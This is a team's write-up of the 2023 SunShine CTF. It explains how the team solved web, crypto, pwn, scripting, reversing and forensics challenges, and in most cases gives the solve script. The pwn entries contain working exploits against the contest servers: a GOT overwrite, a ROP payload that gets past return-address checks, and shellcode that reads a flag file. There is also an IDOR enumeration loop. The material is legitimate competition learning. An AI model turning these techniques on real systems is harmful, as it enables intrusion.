2023 SunShine CTF Write Up

Team Name:WAN
Rank:74
Link:https://2023.sunshinectf.org/teams/295

WEB

BeepBoop Blog


Slover: 堇姬naup

You can observe a suspicious URL, which has patterns.
You can get something by using different numbers after the URL path /post/
https://beepboop.web.2023.sunshinectf.games/post/1

I guess the flag may be hidden in one of the paths.

Solve Script

1
2
3
4
5
6
7
8
9
10
11
12
import requests  
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

for i in range(99999):
print(i)
web = requests.get('https://beepboop.web.2023.sunshinectf.games/post/{}/'.format(i), verify=False)

if 'sun{' in web.text:
print(web.text)
break

It can make requests starting from 0 and check whether there is a flag in it.

Get FLAG!!

FLAG:sun{wh00ps_4ll_IDOR}

Hotdog Stand


Solver: Whale120

The challenge is a simple login page, after some tries on sql injection, the official release an information about challenge fixing(while I was on flask-unsign……).
After fixed, we can get /hotdog-database/fromrobots.txt, and we can see username and password in it, LOL!

FLAG:sun{5l1c3d_p1cKl35_4nd_0N10N2}

CRYPTO

BeepBoop Cryptography


Solver: Whale120
text:
beep beep beep beep boop beep boop beep beep boop boop beep beep boop boop beep beep boop boop beep boop beep beep beep beep boop boop beep beep beep beep boop beep boop boop boop boop beep boop boop beep boop boop boop beep beep boop beep beep boop boop beep boop beep boop boop beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep boop boop beep beep boop beep boop beep boop boop boop boop beep boop beep beep boop boop boop beep boop boop beep beep boop boop beep beep beep beep boop beep boop boop beep boop boop boop beep beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep beep boop beep boop boop beep boop beep boop boop boop beep beep boop beep beep boop boop beep boop beep boop boop beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep boop boop beep beep boop beep boop beep boop boop boop boop beep boop beep beep boop boop boop beep boop boop beep beep boop boop beep beep beep beep boop beep boop boop beep boop boop boop beep beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep beep boop beep boop boop beep boop beep boop boop boop beep beep boop beep beep boop boop beep boop beep boop boop beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep boop boop beep beep boop beep boop beep boop boop boop boop beep boop beep beep boop boop boop beep boop boop beep beep boop boop beep beep beep beep boop beep boop boop beep boop boop boop beep beep boop boop beep beep boop boop boop beep boop boop boop beep beep boop beep beep boop boop boop boop boop beep boop

turn it into 0/1, and decode with binary, would get something like this:
fha{rkgrezvangr-rkgrezvangr-rkgrezvangr}
Caeser cipher decrypt:

FLAG:sun{exterminate-exterminate-exterminate}

MISC

PWN

😎 Array of Sunshine ☀️




We can see an obvious bug scanf("%s",&fruit[v1])
and It didn’t check if v1 is out of index
Also protection is Partial RELRO and fruit is a global variable.
So we know it has a GOT hijack

There is a win function which will $cat flag
and when print_sym !=MEMORY[0x404020] at the same time MEMORY[0x404020] is 0x6 (known by gdb)

I gonna hijack exit@got[plt] to win function
Because of NO-PIE we know exit@got[plt] at 0x405040, fruit at 0x405080 (It means exit@got[plt] is at fruit[-8])

slove script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import sys
sys.path.append('/data')
sys.path.append('/home/aukro/pwnbox/data')
from tool.template import *

init(64)
debug()

r = nc('nc chal.2023.sunshinectf.games 23003')

r.recvuntil(b'>>> ')

win = 0x40128f
r.sendline(b'-8')
print(r.recvline())
r.sendline(p64(win))
end()

Flag:

sun{a_ray_of_sunshine_bouncing_around}

Flock of Seagulls 🕊️



With IDA decompiling I found out a function call chain
main->fun1->fun2->fun3->fun4->fun5
also it has a ret adr check chain (didn’t check fuc1->main)
fun5->fun4->fun3->fun2->fun1-x>main
and a backdoor function call win


It gave us rsp and also has a huge BOF
with No PIE we can just write back the ret adr to bypass the check
and write func1's ret adr to win

I also use gdb to help me write bypass payload more easily

slove script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import sys
sys.path.append('/data')
sys.path.append('/home/aukro/pwnbox/data')
from tool.template import *

init(64)
debug()

r = nc('nc chal.2023.sunshinectf.games 23002')

r.recvuntil(b'At ')
a = r.recvline().strip()

rsp = int(a,16)
rbp = rsp+128

print(hex(rsp))
payload = b'a'*128+ p64(rbp+0x20) + p64(0x401276) +b'a'*0x10+ p64(rbp+0x40) + p64(0x4012a0)+b'a'*0x10 + p64(rbp+0x60) +p64(0x4012ca)+b'a'*0x10 +p64(rbp+0x70) +p64(0x4012f0) +b'b'*8+p64(0x4011bd)
r.sendafter(b'>>> ', payload)

end()


Flag:

sun{here_then_there_then_everywhere}

Bug Spray 🐛🪲🐞


Security check

First thing first we use IDA Decompile it
IDA_DECOMPILE
imo that IDA didn’t decompile correctly
so i chose to oberserve the Assembly code

IDA_DEASSEM
In this block we know we have RWX at 0x777777 and its size is 0x12c
also we know after this block
r10=r12=0x64

Our target is goto Lable:off for the rwx segment

Todo

At the top two blocks of this picture we know it hope the length we wrote is 0x44 or 0x45 (0x64 <= rax+20 < 0x66)

After that it do syscall, and we know 0x64 stands for sys_time, 0x65 stands for sys_ptrace, after testing we know only sys_ptrace is possible to return 0

So, we’ll send 0x45 bytes
syscalltable

For serveral times testing, I finally found out that CAN’T get shell by calling execve("/bin/sh")
so i change to use orw and try to get flag

Finally I get the flag

btw the flag is at ./flag.txt

slove script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import sys
sys.path.append('/data')
sys.path.append('/home/aukro/pwnbox/data')
from tool.template import *



init(64)
debug()

r = nc('nc chal.2023.sunshinectf.games 23004')

r.recvuntil(b'>>> ')


shell = asm(
"""
mov rbx,0x7478
push rbx
mov rbx, 0x742e67616c662f2e
push rbx

push rsp
pop rdi
xor rsi,rsi
xor rdx,rdx
mov rax,0x2
syscall
mov rdx, 0x40
mov rsi,rsp
mov r8,rax
mov rdi,r8
xor rax,rax
syscall

mov rax,1
mov rdi,rax
syscall

""")

r.send(shell+b'a'*(0x45-len(shell)))
end()

Flag:

sun{mosquitos_and_horseflies_and_triangle_bugs_oh_my}

Scripting

DDR



The first time we remote and press enter
Suddenly I lose (x

Now we know we have to do this with scripts
when i try pwntools I found out that it send \xe2\x87\xa6\xe2\x87\xa8\xe2\x87\xa6and things like that

just use python script to slove this

slove script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import sys
sys.path.append('/data')
sys.path.append('/home/aukro/pwnbox/data')
from tool.template import *

r = nc('nc chal.2023.sunshinectf.games 23200')

print(r.recvuntil(b'Start --'))
r.sendline(b'\n')
print(r.recvlines(2))


ind = 0
while 1:
x = r.recvline().strip().split(b'\xe2')
if b'\x87\xa6' not in x:
print(1)
break
ans =''
for i in x:
if i == b'\x87\xa6':
ans += 'a'
elif i == b'\x87\xa7':
ans += 'w'
elif i == b'\x87\xa8':
ans += 'd'
elif i == b'\x87\xa9':
ans += 's'
else :
ans += ''
ind+=1
print(ans.encode(), ind)
r.sendline(ans.encode())
print(r.recvline())
# print(x)

end()

Flag:

sun{d0_r0b0t5_kn0w_h0w_t0_d4nc3}

SimonProgrammer 1


A site that woud press some links and play some frequency , the mission is to follow it every time…
Solution:
After an observation on the js source, I noticed that the answers would store in an array called global_frequencies(but is the filename, also), and I just modifycurrent_frequencies_used_global into global_frequencies and also with some string implementation, and finally post it to path /flag with it’s built-in function!
Solve Script:

1
2
3
4
5
6
current_frequencies_used_global=global_frequencies
for (let j = 0; j < current_frequencies_used_global.length; j++) {
current_frequencies_used_global[j]=current_frequencies_used_global[j].replace("/static/", "");
current_frequencies_used_global[j]=current_frequencies_used_global[j].replace(".wav", "");
}
submitFrequencies(current_frequencies_used_global)

Reversing

Dill


Slover: 堇姬naup

After downloading, you can see a .pyc file.
You can find websites online that can decompiler it.
https://www.toolnb.com/tools-lang-zh-TW/pyc.html
You will get this.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# uncompyle6 version 3.5.0
# Python bytecode 3.8 (3413)
# Decompiled from: Python 2.7.5 (default, Jun 20 2023, 11:36:40)
# [GCC 4.8.5 20150623 (Red Hat 4.8.5-44)]
# Embedded file name: dill.py
# Size of source mod 2**32: 914 bytes


class Dill:
prefix = 'sun{'
suffix = '}'
o = [5, 1, 3, 4, 7, 2, 6, 0]

def __init__(self) -> None:
self.encrypted = 'bGVnbGxpaGVwaWNrdD8Ka2V0ZXRpZGls'

def validate(self, value: str) -> bool:
if not (value.startswith(Dill.prefix) and value.endswith(Dill.suffix)):
return False
value = value[len(Dill.prefix):-len(Dill.suffix)]
if len(value) != 32:
return False
c = [value[i:i + 4] for i in range(0, len(value), 4)]
value = ''.join([c[i] for i in Dill.o])
if value != self.encrypted:
return False
else:
return True

After entering a number, the head and tail will be removed, then cut into groups of four and then swap positions.

I tried to restore it, but it must have been written incorrectly.However, the string length is not long, so you can try it out by using loop.

Solve Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
class Dill:
prefix = 'sun{'
suffix = '}'
o = [5, 1, 3, 4, 7, 2, 6, 0]

def __init__(self) -> None:
self.encrypted = 'bGVnbGxpaGVwaWNrdD8Ka2V0ZXRpZGls'

def validate(self, value: str) -> bool:
if not (value.startswith(Dill.prefix) and value.endswith(Dill.suffix)):
return False
value = value[len(Dill.prefix):-len(Dill.suffix)]
if len(value) != 32:
return False


c = [value[i:i + 4] for i in range(0, len(value), 4)]
value = ''.join([c[i] for i in Dill.o])

if value != self.encrypted:
return False
else:
return True

dill_instance = Dill()

for i in range (20):
d=[5, 1, 3, 4, 7, 2, 6, 0]
value= 'bGVnbGxpaGVwaWNrdD8Ka2V0ZXRpZGls'
if i!=0:
value=b
c = [value[i:i + 4] for i in range(0, len(value), 4)]
ans=""
for i in range(8):
ans=ans+c[d[i]]
b=ans
ans="sun{"+ans+"}"

result = dill_instance.validate(ans)
if result==True:
print(ans)

FLAG:sun{ZGlsbGxpa2V0aGVwaWNrbGVnZXRpdD8K}



After the End

Forensics

Low Effort Wav 🌊


Author : 堇姬Naup

After downloading, it looks like a .wav file, but it is actually a .png file.

Convert it back to PNG first

When I open it. The file seems to be cropped .It might be a Cropalyps

We used exiftool to find out that the phone model he used was Google Pixel 7
We can use acropalypse.app to restore the cropped part

Select pixel 7 and restore it

FLAG:sun{well_that_was_low_effort}

Reversing

First Date


Author : 堇姬Naup

Unzip the file he gave you to get a pdx containing main.pdz pdxinfo

I studied the .pdz file and found some information.Playdate is a handheld video game console.
https://play.date/
Playdate game formats

  • luac - Lua bytecode
  • pdz - File container
  • pda - Audio file
  • pdi - Image file
  • pdt - Imagetable file
  • pdv - Video file
  • pds - Strings file
  • pft - Font file

Try to find a playdate related reverse tool and you will find one.
https://github.com/cranksters/playdate-reverse-engineering/tree/main
What is .pdz?

1
A file with the .pdz extension represents a file container that has been compiled by pdc. They mostly contain compiled Lua bytecode, but they can sometimes include other assets such as images or fonts. This format uses little endian byte order.

It has given a tool that can unpack all files from a .pdz
You can get a main.luac

1
python3 pdz.py <.pdz> <路徑>

Scripting

SimonProgrammer 2


Author : 堇姬Naup

Continue the idea of simon1.
Go grab the variable global_frequencies
You can get this.

1
['/static/8J-kljI4N_CfpJYK.wav', '/static/8J-kljM5N_CfpJYK.wav', '/static/8J-kljM3N_CfpJYK.wav', '/static/8J-kljEwMTbwn6SWCg==.wav', '/static/8J-kljE0ODDwn6SWCg==.wav', '/static/8J-kljIxNPCfpJYK.wav', '/static/8J-kljEyOTbwn6SWCg==.wav', '/static/8J-kljE4MjPwn6SWCg==.wav', '/static/8J-kljQyMPCfpJYK.wav', '/static/8J-kljE0Njnwn6SWCg==.wav', '/static/8J-kljExNjTwn6SWCg==.wav', '/static/8J-kljE5NDPwn6SWCg==.wav', '/static/8J-kljY1M_CfpJYK.wav', '/static/8J-kljEwMjTwn6SWCg==.wav', '/static/8J-kljM2MfCfpJYK.wav', '/static/8J-kljEyMjjwn6SWCg==.wav', '/static/8J-kljE1Njfwn6SWCg==.wav', '/static/8J-kljExMPCfpJYK.wav', '/static/8J-kljQwMvCfpJYK.wav', '/static/8J-kljI1OfCfpJYK.wav', '/static/8J-kljI5OPCfpJYK.wav', '/static/8J-kljIwMPCfpJYK.wav', '/static/8J-kljEyMjjwn6SWCg==.wav', '/static/8J-kljUyOfCfpJYK.wav', '/static/8J-kljEwODDwn6SWCg==.wav', '/static/8J-kljUyNPCfpJYK.wav', '/static/8J-kljE1MDPwn6SWCg==.wav', '/static/8J-kljE3MDTwn6SWCg==.wav', '/static/8J-kljM0NfCfpJYK.wav', '/static/8J-kljE4NvCfpJYK.wav', '/static/8J-kljY08J-klgo=.wav', '/static/8J-kljEwN_CfpJYK.wav', '/static/8J-kljk1N_CfpJYK.wav', '/static/8J-kljQ4NvCfpJYK.wav', '/static/8J-kljYy8J-klgo=.wav', '/static/8J-kljI1NPCfpJYK.wav', '/static/8J-kljc2MfCfpJYK.wav', '/static/8J-kljExOTTwn6SWCg==.wav', '/static/8J-kljQ4MvCfpJYK.wav', '/static/8J-kljE3ODHwn6SWCg==.wav']

After removing /static/ and .wav, base64 the string and remove the irrelevant characters at the beginning and end.

1
2
3
4
5
6
7
8
import base64
file=['8J-kljI4N_CfpJYK', '8J-kljM5N_CfpJYK', '8J-kljM3N_CfpJYK', '8J-kljEwMTbwn6SWCg==', '8J-kljE0ODDwn6SWCg==', '8J-kljIxNPCfpJYK', '8J-kljEyOTbwn6SWCg==', '8J-kljE4MjPwn6SWCg==', '8J-kljQyMPCfpJYK', '8J-kljE0Njnwn6SWCg==', '8J-kljExNjTwn6SWCg==', '8J-kljE5NDPwn6SWCg==', '8J-kljY1M_CfpJYK', '8J-kljEwMjTwn6SWCg==', '8J-kljM2MfCfpJYK', '8J-kljEyMjjwn6SWCg==', '8J-kljE1Njfwn6SWCg==', '8J-kljExMPCfpJYK', '8J-kljQwMvCfpJYK', '8J-kljI1OfCfpJYK', '8J-kljI5OPCfpJYK', '8J-kljIwMPCfpJYK', '8J-kljEyMjjwn6SWCg==', '8J-kljUyOfCfpJYK', '8J-kljEwODDwn6SWCg==', '8J-kljUyNPCfpJYK', '8J-kljE1MDPwn6SWCg==', '8J-kljE3MDTwn6SWCg==', '8J-kljM0NfCfpJYK', '8J-kljE4NvCfpJYK', '8J-kljY08J-klgo=', '8J-kljEwN_CfpJYK', '8J-kljk1N_CfpJYK', '8J-kljQ4NvCfpJYK', '8J-kljYy8J-klgo=', '8J-kljI1NPCfpJYK', '8J-kljc2MfCfpJYK', '8J-kljExOTTwn6SWCg==', '8J-kljQ4MvCfpJYK', '8J-kljE3ODHwn6SWCg==']
o=[]
for i in file:

o.append(base64.urlsafe_b64decode(i).decode('utf-8')[1:-2])

print(o)

The o that comes out of print() is thrown into the following script.

1
2
3
4
5
6
current_frequencies_used_global=['287', '397', '377', '1016', '1480', '214', '1296', '1823', '420', '1469', '1164', '1943', '653', '1024', '361', '1228', '1567', '110', '402', '259', '298', '200', '1228', '529', '1080', '524', '1503', '1704', '345', '186', '64', '107', '957', '486', '62', '254', '761', '1194', '482', '1781']
for (let j = 0; j < current_frequencies_used_global.length; j++) {
current_frequencies_used_global[j]=current_frequencies_used_global[j].replace("/static/", "");
current_frequencies_used_global[j]=current_frequencies_used_global[j].replace(".wav", "");
}
submitFrequencies(current_frequencies_used_global)

Just throw it to the console of F12 and it will get flag.

FLAG : sun{simon_says_wait_that_was_a_mistake_what_do_you_mean_the_filenames_were_frequencies}

SimonProgrammer 3


Misc

Knowledge Repository


Pwn

House of Sus


Robot Assembly Line